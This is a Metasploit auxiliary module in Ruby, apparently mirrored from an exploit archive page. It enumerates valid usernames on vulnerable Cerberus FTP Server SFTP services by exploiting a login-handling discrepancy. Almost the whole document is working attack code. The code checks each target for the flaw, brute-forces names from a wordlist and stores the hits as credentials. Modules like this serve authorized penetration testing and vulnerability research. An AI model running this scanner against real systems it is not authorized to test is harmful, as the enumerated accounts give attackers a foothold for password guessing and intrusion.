Share
## https://sploitus.com/exploit?id=PACKETSTORM:181228
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'net/ssh'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',  
'Description' => %q{  
This module uses a dictionary to brute force valid usernames from  
Cerberus FTP server via SFTP. This issue affects all versions of  
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy  
in the way the SSH service handles failed logins for valid and invalid  
users. This issue was discovered by Steve Embling.  
},  
'Author' => [  
'Steve Embling', # Discovery  
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],  
[ 'BID', '67707']  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2014-05-27'  
))  
  
register_options(  
[  
Opt::Proxies,  
Opt::RPORT(22),  
OptPath.new(  
'USER_FILE',  
[true, 'Files containing usernames, one per line', nil])  
], self.class  
)  
  
register_advanced_options(  
[  
OptInt.new(  
'RETRY_NUM',  
[true , 'The number of attempts to connect to a SSH server for each user', 3]),  
OptInt.new(  
'SSH_TIMEOUT',  
[true, 'Specify the maximum time to negotiate a SSH session', 10]),  
OptBool.new(  
'SSH_DEBUG',  
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])  
]  
)  
end  
  
def rport  
datastore['RPORT']  
end  
  
def retry_num  
datastore['RETRY_NUM']  
end  
  
def check_vulnerable(ip)  
opt_hash = {  
:port => rport,  
:auth_methods => ['password', 'keyboard-interactive'],  
:use_agent => false,  
:config => false,  
:password_prompt => Net::SSH::Prompt.new,  
:non_interactive => true,  
:proxies => datastore['Proxies'],  
:verify_host_key => :never  
}  
  
begin  
transport = Net::SSH::Transport::Session.new(ip, opt_hash)  
rescue Rex::ConnectionError  
return :connection_error  
end  
  
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)  
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))  
auth_method = auth.allowed_auth_methods.join('|')  
print_good "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"  
report_service(  
host: ip,  
port: rport,  
name: "ssh",  
proto: "tcp",  
info: auth.transport.server_version.version  
)  
  
if auth_method.empty?  
:vulnerable  
else  
:safe  
end  
end  
  
def check_user(ip, user, port)  
pass = Rex::Text.rand_text_alphanumeric(8)  
  
opt_hash = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:port => port,  
:use_agent => false,  
:config => false,  
:proxies => datastore['Proxies'],  
:verify_host_key => :never  
}  
  
opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
transport = Net::SSH::Transport::Session.new(ip, opt_hash)  
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)  
  
begin  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
auth.authenticate("ssh-connection", user, pass)  
auth_method = auth.allowed_auth_methods.join('|')  
if auth_method != ''  
:success  
else  
:fail  
end  
end  
rescue Rex::ConnectionError  
return :connection_error  
rescue Net::SSH::Disconnect, ::EOFError  
return :success  
rescue ::Timeout::Error  
return :connection_error  
end  
end  
  
def do_report(ip, user, port)  
service_data = {  
address: ip,  
port: rport,  
service_name: 'ssh',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: user,  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def peer(rhost=nil)  
"#{rhost}:#{rport} SSH -"  
end  
  
def user_list  
users = nil  
if File.readable? datastore['USER_FILE']  
users = File.new(datastore['USER_FILE']).read.split  
users.each {|u| u.downcase!}  
users.uniq!  
else  
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"  
end  
  
users  
end  
  
def attempt_user(user, ip)  
attempt_num = 0  
ret = nil  
  
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)  
if attempt_num > 0  
Rex.sleep(2 ** attempt_num)  
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")  
end  
  
ret = check_user(ip, user, rport)  
attempt_num += 1  
end  
  
ret  
end  
  
def show_result(attempt_result, user, ip)  
case attempt_result  
when :success  
print_good "#{peer(ip)} User '#{user}' found"  
do_report(ip, user, rport)  
when :connection_error  
print_error "#{peer(ip)} User '#{user}' could not connect"  
when :fail  
vprint_status "#{peer(ip)} User '#{user}' not found"  
end  
end  
  
def run_host(ip)  
print_status "#{peer(ip)} Checking for vulnerability"  
case check_vulnerable(ip)  
when :vulnerable  
print_good "#{peer(ip)} Vulnerable"  
print_status "#{peer(ip)} Starting scan"  
user_list.each do |user|  
show_result(attempt_user(user, ip), user, ip)  
end  
when :safe  
print_error "#{peer(ip)} Not vulnerable"  
when :connection_error  
print_error "#{peer(ip)} Connection failed"  
end  
end  
end